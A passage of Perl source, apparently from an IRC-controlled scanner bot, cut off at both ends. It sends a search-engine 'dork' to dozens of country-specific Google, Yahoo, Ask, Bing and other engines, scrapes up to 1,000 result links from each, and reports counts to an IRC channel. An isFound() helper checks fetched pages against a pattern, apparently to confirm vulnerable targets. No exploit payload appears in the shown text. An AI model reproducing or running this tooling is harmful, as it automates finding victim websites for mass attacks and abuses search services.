if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
@clean = &clean(@total);
if ($silentmode == 0) {
&msg("$chan","$logo4$engine 4<9=4>9 Total:4 [4".scalar(@total)."4] 9 Clean:4 [4".scalar(@clean)."4] "); }
return @clean;
}
##################################################################################
sub isFound() {
my $status = 0;
my $link = $_[0];
my $reqexp = $_[1];
my $res = &get_content($link);
if ($res =~ /$reqexp/) { $status = 1 }
return $status;
}
sub get_content() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout($timot);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
######################################### SEARCH ENGINE
sub jack() {
my @list;
my $key = $_[0];
my $jackx = $_[1];
for (my $i=0; $i<=1000; $i+=100){
my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /google/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub google() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /google/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleCA() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleCA/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleDE() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleDE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleUK() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleUK/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleFR() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleFR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleES() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleES/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleIT() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleIT/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(1);
sub googleNL() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleNL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleBE() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleBE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleCH() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleCH/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(1);
sub googleSE() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleSE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleDK() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleDK/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleNO() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleNO/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(1);
sub googleNZ() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleNZ/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleIE() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleIE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleBR() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /google/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(2);
sub googleAR() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleAR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleCO() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleCO/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleCU() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleCU/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(2);
sub googleCL() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleCL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleMX() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleMX/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleAU() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleAU/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(2);
sub googleRU() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleRU/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleAT() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleAT/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googlePL() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googlePL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(3);
sub googleIL() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleIL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleTR() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleTR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleUA() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleUA/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(3);
sub googleGR() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleGR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleJP() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleJP/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleCN() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleCN/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(3);
sub googleMY() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleMY/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleTH() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleTH/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleIN() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleIN/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(3);
sub googleKR() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleKR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleRO() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleRO/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googleTW() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleTW/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(3);
sub googleZA() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googleZA/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub googlePT() {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $link = $1;
if ($link !~ /googlePT/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub walla() {
my @list;
my $key = $_[0];
for ($b=0; $b<=100; $b+=1) {
my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
my $link = $1;
if ($link !~ /walla\.co\.il/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahoo(){
my @list;
my $key = $_[0];
for ($b=1; $b<=1000; $b+=10) {
my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link !~ /yahoo\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooCA() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
